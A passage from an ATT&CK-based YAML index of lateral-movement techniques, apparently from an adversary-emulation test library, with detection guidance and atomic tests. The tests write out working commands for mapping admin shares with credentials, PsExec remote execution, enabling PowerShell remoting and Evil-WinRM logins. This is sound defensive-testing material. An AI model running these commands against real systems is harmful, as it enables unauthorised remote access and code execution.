      x_mitre_detection: Use of SSH may be legitimate, depending upon the network
        environment and how it is used. Other factors, such as access patterns and
        activity that occurs after a remote login, may indicate suspicious or malicious
        behavior with SSH. Monitor for user accounts logged into systems they would
        not normally access or access patterns to multiple systems over a relatively
        short period of time. Also monitor user SSH-agent socket files being used
        by different users.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Network Traffic: Network Traffic Content'
      - 'Command: Command Execution'
      - 'Logon Session: Logon Session Creation'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_permissions_required:
      - root
      x_mitre_system_requirements:
      - SSH service enabled, trust relationships configured, established connections
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1021.002:
    technique:
      modified: '2023-07-28T17:34:51.250Z'
      name: 'Remote Services: SMB/Windows Admin Shares'
      description: |-
        Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.

        SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.

        Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      x_mitre_deprecated: false
      x_mitre_detection: 'Ensure that proper logging of accounts used to log into
        systems is turned on and centrally collected. Windows logging is able to collect
        success/failure for accounts that may be used to move laterally and can be
        collected using tools such as Windows Event Forwarding. (Citation: Lateral
        Movement Payne)(Citation: Windows Event Forwarding Payne) Monitor remote login
        events and associated SMB activity for file transfers and remote process execution.
        Monitor the actions of remote users who connect to administrative shares.
        Monitor for use of tools and commands to connect to remote shares, such as
        [Net](https://attack.mitre.org/software/S0039), on the command-line interface
        and Discovery techniques that could be used to find remotely accessible systems.(Citation:
        Medium Detecting WMI Persistence)'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Network Share: Network Share Access'
      - 'Network Traffic: Network Traffic Flow'
      - 'Logon Session: Logon Session Creation'
      - 'Network Traffic: Network Connection Creation'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_system_requirements:
      - SMB enabled; Host/network firewalls not blocking SMB ports between source
        and destination; Use of domain account in administrator group on remote system
        or default system admin account.
      type: attack-pattern
      id: attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541
      created: '2020-02-11T18:25:28.212Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1021/002
        external_id: T1021.002
      - source_name: Medium Detecting WMI Persistence
        description: French, D. (2018, October 9). Detecting & Removing an Attacker’s
          WMI Persistence. Retrieved October 11, 2019.
        url: https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96
      - source_name: TechNet RPC
        description: Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12,
          2016.
        url: https://technet.microsoft.com/en-us/library/cc787851.aspx
      - source_name: Microsoft Admin Shares
        description: Microsoft. (n.d.). How to create and delete hidden or administrative
          shares on client computers. Retrieved November 20, 2014.
        url: http://support.microsoft.com/kb/314984
      - source_name: Windows Event Forwarding Payne
        description: Payne, J. (2015, November 23). Monitoring what matters - Windows
          Event Forwarding for everyone (even if you already have a SIEM.). Retrieved
          February 1, 2016.
        url: https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem
      - source_name: Lateral Movement Payne
        description: Payne, J. (2015, November 26). Tracking Lateral Movement Part
          One - Special Groups and Specific Service Accounts. Retrieved February 1,
          2016.
        url: https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts
      - source_name: Wikipedia Server Message Block
        description: Wikipedia. (2017, December 16). Server Message Block. Retrieved
          December 21, 2017.
        url: https://en.wikipedia.org/wiki/Server_Message_Block
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1021.002
    atomic_tests:
    - name: Map admin share
      auto_generated_guid: 3386975b-367a-4fbb-9d77-4dcf3639ffd3
      description: 'Connecting To Remote Shares

        '
      supported_platforms:
      - windows
      input_arguments:
        user_name:
          description: Username
          type: string
          default: DOMAIN\Administrator
        share_name:
          description: Examples C$, IPC$, Admin$
          type: string
          default: C$
        password:
          description: Password
          type: string
          default: P@ssw0rd1
        computer_name:
          description: Target Computer Name
          type: string
          default: Target
      executor:
        command: 'cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password}
          /u:#{user_name}"

          '
        name: command_prompt
    - name: Map Admin Share PowerShell
      auto_generated_guid: 514e9cd7-9207-4882-98b1-c8f791bae3c5
      description: 'Map Admin share utilizing PowerShell

        '
      supported_platforms:
      - windows
      input_arguments:
        share_name:
          description: Examples C$, IPC$, Admin$
          type: string
          default: C$
        map_name:
          description: Mapped Drive Letter
          type: string
          default: g
        computer_name:
          description: Target Computer Name
          type: string
          default: Target
      executor:
        command: 'New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}

          '
        name: powershell
    - name: Copy and Execute File with PsExec
      auto_generated_guid: 0eb03d41-79e4-4393-8e57-6344856be1cf
      description: 'Copies a file to a remote host and executes it using PsExec. Requires
        the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).

        '
      supported_platforms:
      - windows
      input_arguments:
        command_path:
          description: File to copy and execute
          type: path
          default: C:\Windows\System32\cmd.exe
        remote_host:
          description: Remote computer to receive the copy and execute the file
          type: string
          default: "\\\\localhost"
        psexec_exe:
          description: Path to PsExec
          type: string
          default: PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'PsExec tool from Sysinternals must exist on disk at specified
          location (#{psexec_exe})

          '
        prereq_command: 'if (Test-Path "#{psexec_exe}") { exit 0} else { exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
          New-Item -ItemType Directory (Split-Path "#{psexec_exe}") -Force | Out-Null
          Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "#{psexec_exe}" -Force
      executor:
        command: '"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}

          '
        name: command_prompt
        elevation_required: true
    - name: Execute command writing output to local Admin Share
      auto_generated_guid: d41aaab5-bdfe-431d-a3d5-c29e9136ff46
      description: |
        Executes a command, writing the output to a local Admin Share.
        This technique is used by post-exploitation frameworks.
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: Remote computer to receive the copy and execute the file
          type: string
          default: output.txt
        command_to_execute:
          description: Command to execute for output.
          type: string
          default: hostname
      executor:
        command: 'cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file}
          2>&1

          '
        name: command_prompt
        elevation_required: true
  T1550:
    technique:
      modified: '2024-04-12T21:18:23.798Z'
      name: Use Alternate Authentication Material
      description: "Adversaries may use alternate authentication material, such as
        password hashes, Kerberos tickets, and application access tokens, in order
        to move laterally within an environment and bypass normal system access controls.
        \n\nAuthentication processes generally require a valid identity (e.g., username)
        along with one or more authentication factors (e.g., password, pin, physical
        smart card, token generator, etc.). Alternate authentication material is legitimately
        generated by systems after a user or application successfully authenticates
        by providing a valid identity and the required authentication factor(s). Alternate
        authentication material may also be generated during the identity creation
        process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate
        authentication material allows the system to verify an identity has successfully
        authenticated without asking the user to reenter authentication factor(s).
        Because the alternate authentication must be maintained by the system—either
        in memory or on disk—it may be at risk of being stolen through [Credential
        Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate
        authentication material, adversaries are able to bypass system access controls
        and authenticate to systems without knowing the plaintext password or any
        additional authentication factors.\n"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      x_mitre_contributors:
      - Blake Strom, Microsoft Threat Intelligence
      x_mitre_deprecated: false
      x_mitre_detection: 'Configure robust, consistent account activity audit policies
        across the enterprise and with externally accessible services.(Citation: TechNet
        Audit Policy) Look for suspicious account behavior across systems that share
        accounts, either user, admin, or service accounts. Examples: one account logged
        into multiple systems simultaneously; multiple accounts logged into the same
        machine simultaneously; accounts logged in at odd times or outside of business
        hours. Activity may be from interactive login sessions or process ownership
        from accounts being used to execute binaries on a remote system as a particular
        account. Correlate other security systems with login information (e.g., a
        user has an active login session but has not entered the building or does
        not have VPN access).'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Office 365
      - SaaS
      - Google Workspace
      - IaaS
      - Containers
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Logon Session: Logon Session Creation'
      - 'Active Directory: Active Directory Credential Request'
      - 'Web Credential: Web Credential Usage'
      - 'User Account: User Account Authentication'
      x_mitre_defense_bypassed:
      - System Access Controls
      type: attack-pattern
      id: attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814
      created: '2020-01-30T16:18:36.873Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1550
        external_id: T1550
      - source_name: TechNet Audit Policy
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        url: https://technet.microsoft.com/en-us/library/dn487457.aspx
      - source_name: NIST Authentication
        description: NIST. (n.d.). Authentication. Retrieved January 30, 2020.
        url: https://csrc.nist.gov/glossary/term/authentication
      - source_name: NIST MFA
        description: NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved January
          30, 2020.
        url: https://csrc.nist.gov/glossary/term/Multi_Factor-Authentication
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1021:
    technique:
      modified: '2024-03-01T15:35:38.299Z'
      name: Remote Services
      description: "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078)
        to log into a service that accepts remote connections, such as telnet, SSH,
        and VNC. The adversary may then perform actions as the logged-on user.\n\nIn
        an enterprise environment, servers and workstations can be organized into
        domains. Domains provide centralized identity management, allowing users to
        login using one set of credentials across the entire network. If an adversary
        is able to obtain a set of valid domain credentials, they could login to many
        different machines using remote access protocols such as secure shell (SSH)
        or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet
        Remote Desktop Services) They could also login to accessible SaaS or IaaS
        services, such as those that federate their identities to the domain. \n\nLegitimate
        applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072)
        and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021)
        to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is
        native software used for remote management. ARD leverages a blend of protocols,
        including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the
        screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004)
        for secure file transfer.(Citation: Remote Management MDM macOS)(Citation:
        Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin
        Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code
        execution and perform lateral movement. In versions of macOS prior to 10.14,
        an adversary can escalate an SSH session to an ARD session which enables an
        adversary to accept TCC (Transparency, Consent, and Control) prompts without
        user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote
        Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop
        commands)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      x_mitre_contributors:
      - Dan Borges, @1njection
      x_mitre_deprecated: false
      x_mitre_detection: "Correlate use of login activity related to remote services
        with unusual behavior or other malicious or suspicious activity. Adversaries
        will likely need to learn about an environment and the relationships between
        systems through Discovery techniques prior to attempting Lateral Movement.
        \n\nUse of applications such as ARD may be legitimate depending on the environment
        and how it’s used. Other factors, such as access patterns and activity that
        occurs after a remote login, may indicate suspicious or malicious behavior
        using these applications. Monitor for user accounts logged into systems they
        would not normally access or access patterns to multiple systems over a relatively
        short period of time. \n\nIn macOS, you can review logs for \"screensharingd\"
        and \"Authentication\" event messages. Monitor network connections regarding
        remote management (ports tcp:3283 and tcp:5900) and for remote login (port
        tcp:22).(Citation: Lockboxx ARD 2019)(Citation: Apple Unified Log Analysis
        Remote Login and Screen Sharing)"
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - IaaS
      x_mitre_version: '1.5'
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'Network Traffic: Network Connection Creation'
      - 'Command: Command Execution'
      - 'Network Share: Network Share Access'
      - 'WMI: WMI Creation'
      - 'Logon Session: Logon Session Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Process: Process Creation'
      x_mitre_system_requirements:
      - Active remote service accepting connections and valid credentials
      type: attack-pattern
      id: attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba
      created: '2017-05-31T21:30:29.858Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1021
        external_id: T1021
      - source_name: Apple Remote Desktop Admin Guide 3.3
        description: Apple. (n.d.). Apple Remote Desktop Administrator Guide Version
          3.3. Retrieved October 5, 2021.
        url: https://images.apple.com/remotedesktop/pdf/ARD_Admin_Guide_v3.3.pdf
      - source_name: Remote Management MDM macOS
        description: Apple. (n.d.). Use MDM to enable Remote Management in macOS.
          Retrieved September 23, 2021.
        url: https://support.apple.com/en-us/HT209161
      - source_name: Kickstart Apple Remote Desktop commands
        description: Apple. (n.d.). Use the kickstart command-line utility in Apple
          Remote Desktop. Retrieved September 23, 2021.
        url: https://support.apple.com/en-us/HT201710
      - source_name: Lockboxx ARD 2019
        description: 'Dan Borges. (2019, July 21). MacOS Red Teaming 206: ARD (Apple
          Remote Desktop Protocol). Retrieved September 10, 2021.'
        url: http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html
      - source_name: FireEye 2019 Apple Remote Desktop
        description: 'Jake Nicastro, Willi Ballenthin. (2019, October 9). Living off
          the Orchard: Leveraging Apple Remote Desktop for Good and Evil. Retrieved
          August 16, 2021.'
        url: https://www.fireeye.com/blog/threat-research/2019/10/leveraging-apple-remote-desktop-for-good-and-evil.html
      - source_name: TechNet Remote Desktop Services
        description: Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1,
          2016.
        url: https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx
      - source_name: Apple Unified Log Analysis Remote Login and Screen Sharing
        description: 'Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs:
          Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved
          August 19, 2021.'
        url: https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins
      - source_name: SSH Secure Shell
        description: SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020.
        url: https://www.ssh.com/ssh
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1563:
    technique:
      modified: '2024-02-26T14:21:37.818Z'
      name: Remote Service Session Hijacking
      description: |-
        Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.

        Adversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Use of these services may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with that service. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.

        Monitor for processes and command-line arguments associated with hijacking service sessions.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Logon Session: Logon Session Creation'
      type: attack-pattern
      id: attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5
      created: '2020-02-25T18:26:16.994Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1563
        external_id: T1563
      - source_name: RDP Hijacking Medium
        description: Beaumont, K. (2017, March 19). RDP hijacking — how to hijack
          RDS and RemoteApp sessions transparently to move through an organisation.
          Retrieved December 11, 2017.
        url: https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6
      - source_name: Breach Post-mortem SSH Hijack
        description: Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr
          11 security incident. Retrieved February 17, 2020.
        url: https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1021.006:
    technique:
      modified: '2023-08-11T15:26:41.941Z'
      name: 'Remote Services: Windows Remote Management'
      description: |-
        Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.

        WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM  can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      x_mitre_deprecated: false
      x_mitre_detection: 'Monitor use of WinRM within an environment by tracking service
        execution. If it is not normally used or is disabled, then this may be an
        indicator of suspicious behavior.  Monitor processes created and actions taken
        by the WinRM process or a WinRM invoked script to correlate it with other
        related events.(Citation: Medium Detecting Lateral Movement) Also monitor
        for remote WMI connection attempts (typically over port 5985 when using HTTP
        and 5986 for HTTPS).'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Logon Session: Logon Session Creation'
      - 'Network Traffic: Network Connection Creation'
      - 'Command: Command Execution'
      - 'Network Traffic: Network Traffic Flow'
      - 'Service: Service Metadata'
      type: attack-pattern
      id: attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65
      created: '2020-02-11T18:29:47.757Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1021/006
        external_id: T1021.006
      - source_name: Medium Detecting Lateral Movement
        description: French, D. (2018, September 30). Detecting Lateral Movement Using
          Sysmon and Splunk. Retrieved October 11, 2019.
        url: https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc
      - source_name: Jacobsen 2014
        description: Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell&#91;slides&#93;.
          Retrieved November 12, 2014.
        url: https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2
      - source_name: MSDN WMI
        description: Microsoft. (n.d.). Windows Management Instrumentation. Retrieved
          April 27, 2016.
        url: https://msdn.microsoft.com/en-us/library/aa394582.aspx
      - source_name: Microsoft WinRM
        description: Microsoft. (n.d.). Windows Remote Management. Retrieved November
          12, 2014.
        url: http://msdn.microsoft.com/en-us/library/aa384426
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1021.006
    atomic_tests:
    - name: Enable Windows Remote Management
      auto_generated_guid: 9059e8de-3d7d-4954-a322-46161880b9cf
      description: |
        Powershell Enable WinRM

        Upon successful execution, powershell will "Enable-PSRemoting" allowing for remote PS access.
      supported_platforms:
      - windows
      executor:
        command: 'Enable-PSRemoting -Force

          '
        name: powershell
        elevation_required: true
    - name: Remote Code Execution with PS Credentials Using Invoke-Command
      auto_generated_guid: 5295bd61-bd7e-4744-9d52-85962a4cf2d6
      description: "Simulate lateral movement with PowerShell Remoting on the local
        host. \nUpon successful execution, PowerShell will execute `whoami` using
        `Invoke-Command`, targeting the \nlocal machine as remote target.\n"
      supported_platforms:
      - windows
      executor:
        command: |-
          Enable-PSRemoting -Force
          Invoke-Command -ComputerName $env:COMPUTERNAME -ScriptBlock {whoami}
        cleanup_command: Disable-PSRemoting -Force
        name: powershell
    - name: WinRM Access with Evil-WinRM
      auto_generated_guid: efe86d95-44c4-4509-ae42-7bfd9d1f5b3d
      description: An adversary may attempt to use Evil-WinRM with a valid account
        to interact with remote systems that have WinRM enabled
      supported_platforms:
      - windows
      input_arguments:
        user_name:
          description: Username
          type: string
          default: Domain\Administrator
        destination_address:
          description: Remote Host IP or Hostname
          type: string
          default: Target
        password:
          description: Password
          type: string
          default: P@ssw0rd1
      dependency_executor_name: powershell
      dependencies:
      - description: Computer must have Ruby Installed
        prereq_command: try {if (ruby -v) {exit 0} else {exit 1}} catch {exit 1}
        get_prereq_command: |-
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest  -OutFile "PathToAtomicsFolder\..\ExternalPayloads\rubyinstaller-2.7.1-1-x64.exe" https://github.com/oneclick/rubyinstaller2/releases/download/RubyInstaller-2.7.1-1/rubyinstaller-2.7.1-1-x64.exe
          $file1= "PathToAtomicsFolder\..\ExternalPayloads\rubyinstaller-2.7.1-1-x64.exe"
          Start-Process $file1 /S;
      - description: Computer must have Evil-WinRM installed
        prereq_command: try {if (evil-winrm -h) {exit 0} else {exit 1}} catch {exit
          1}
        get_prereq_command: gem install evil-winrm
      executor:
        command: 'evil-winrm -i #{destination_address} -u #{user_name} -p #{password}'
        name: powershell
        elevation_required: true
  T1021.003:
    technique:
      modified: '2023-08-11T20:21:55.610Z'
      name: 'Remote Services: Distributed Component Object Model'
      description: |-
        Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.

        The Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)

        Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)

        Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.

        Monitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135).
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Module: Module Load'
      - 'Process: Process Creation'
      type: attack-pattern
      id: attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd
      created: '2020-02-11T18:26:36.444Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1021/003
        external_id: T1021.003
      - source_name: Fireeye Hunting COM June 2019
        description: Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June
          10, 2019.
        url: https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html
      - source_name: Microsoft COM
        description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November
          22, 2017.
        url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
      - source_name: Microsoft COM ACL
        description: Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service
          Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.
        url: https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1
      - source_name: Microsoft Process Wide Com Keys
        description: Microsoft. (n.d.). Setting Process-Wide Security Through the
          Registry. Retrieved November 21, 2017.
        url: https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx
      - source_name: MSDN WMI
        description: Microsoft. (n.d.). Windows Management Instrumentation. Retrieved
          April 27, 2016.
        url: https://msdn.microsoft.com/en-us/library/aa394582.aspx
      - source_name: Enigma DCOM Lateral Movement Jan 2017
        description: 'Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round
          2. Retrieved November 21, 2017.'
        url: https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
      - source_name: Enigma MMC20 COM Jan 2017
        description: Nelson, M. (2017, January 5). Lateral Movement using the MMC20
          Application COM Object. Retrieved November 21, 2017.
        url: https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
      - source_name: Enigma Outlook DCOM Lateral Movement Nov 2017
